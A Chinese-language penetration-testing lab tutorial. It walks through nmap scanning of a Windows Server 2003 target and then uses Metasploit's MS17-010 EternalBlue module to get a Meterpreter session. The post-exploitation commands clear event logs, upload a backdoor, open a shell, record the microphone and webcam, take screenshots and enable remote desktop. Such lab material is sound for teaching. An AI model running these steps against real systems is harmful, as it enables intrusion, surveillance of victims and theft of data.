网络扫描与漏洞利用实战入门
一、实验环境配置
攻击机: Kali GNU/Linux Rolling 系统,内核版本 6.1.0-kali9-amd64,架构 x86-64。
靶机: Windows Server 2003,IP 地址为 192.168.92.100。
二、Nmap 网络探测工具使用
Nmap 是一款开源的网络发现和安全审计工具,可用于识别目标主机在线状态、开放端口、服务版本、操作系统类型等信息。
- 探测局域网活跃主机:
命令:nmap -sn 192.168.92.0/24
该命令可列出子网中所有响应的 IP 地址。 - 扫描指定端口范围:
- 扫描默认端口(1-1000):nmap 192.168.92.100
- 扫描特定端口:nmap -p 22,80,443,3306 192.168.92.100
- 扫描连续端口区间:nmap -p 22-8000 192.168.92.100 - 识别服务版本信息:
命令:nmap -sV -p 22-8000 192.168.92.100
可获取运行在开放端口上的具体服务及其版本。 - 操作系统指纹识别:
命令:nmap -O 192.168.92.100
Nmap 会尝试推断目标系统的操作系统类型,结果确认为 Windows Server 2003。 - 综合扫描(包含服务识别与系统检测):
命令:nmap -A 192.168.92.100
此命令执行全面探测,包括操作系统、服务版本、路由路径等信息。 - 漏洞检测:
命令:nmap --script=vuln 192.168.92.100
通过内置脚本检测已知漏洞,例如针对 SMB 协议的 MS17-010 漏洞。
三、Metasploit 渗透框架实战
Metasploit Framework(MSF)是渗透测试领域核心工具之一,支持漏洞利用、载荷注入、后渗透操作等功能。
1. 模块结构概览
- Auxiliary:辅助模块,用于信息收集、探测与嗅探。
- Exploit:漏洞利用模块,触发目标系统中的安全缺陷。
- Payload:攻击载荷,用于在成功入侵后建立控制通道。
- Post:后渗透模块,执行提权、数据提取等操作。
- Encoders:编码器,用于绕过杀毒软件或防火墙检测。
- Evasion:混淆工具,生成免杀型 shellcode。
- Meterpreter:高级后渗透代理,提供交互式控制接口。
2. 利用 MS17-010 漏洞攻陷目标系统
- 启动 Metasploit 客户端:
msfconsole - 搜索相关漏洞:
search ms17-010
选择编号为2的模块(auxiliary/admin/smb/ms17_010_command),用于探测是否存在该漏洞。 - 查看并配置参数:
show options
设置TARGET为目标地址(如 192.168.92.100),然后执行:
run
若返回"VULNERABLE",说明目标存在该漏洞。 - 执行攻击模块:
切换到漏洞利用模块:
use exploit/windows/smb/ms17_010_eternalblue
再次调用show options,填写必要参数(如RHOSTS、PAYLOAD)。
执行:
run
成功后将获得一个 Meterpreter 会话。
3. Meterpreter 控制与操作
进入控制会话后,可执行以下操作:
lpwd:查看本地工作目录。clearev:清除事件日志,防止被追踪。download C:\\Windows\\system32\\drivers\\etc\\hosts:下载目标文件。
注意:路径需使用双反斜杠表示,如C:\\path\\file。upload /tmp/backdoor.exe C:\\temp\\:上传本地文件至目标主机。execute -f cmd.exe -i:以交互模式执行命令行程序。getuid:查看当前用户权限。shell:开启原生 shell 会话。search -f "*.txt":搜索特定扩展名的文件。record_mic:启用麦克风录音。webcam_list:列出可用摄像头设备。webcam_snap -i 1 -v false:每秒拍摄一张照片。screenshot:截取目标屏幕图像。portfwd add -l 6666 -p 3389 -r 127.0.0.1:将目标主机的 3389 远程桌面端口映射到本地 6666 端口。run post/windows/manage/enable_rdp:启用远程桌面服务,允许图形化访问。
4. 使用 rdesktop 连接目标桌面
安装客户端工具:
sudo apt install rdesktop
连接目标系统:
rdesktop -u administrator -p password 127.0.0.1:6666
若已在目标机创建管理员账户,可通过该方式直接登录其图形界面进行操控。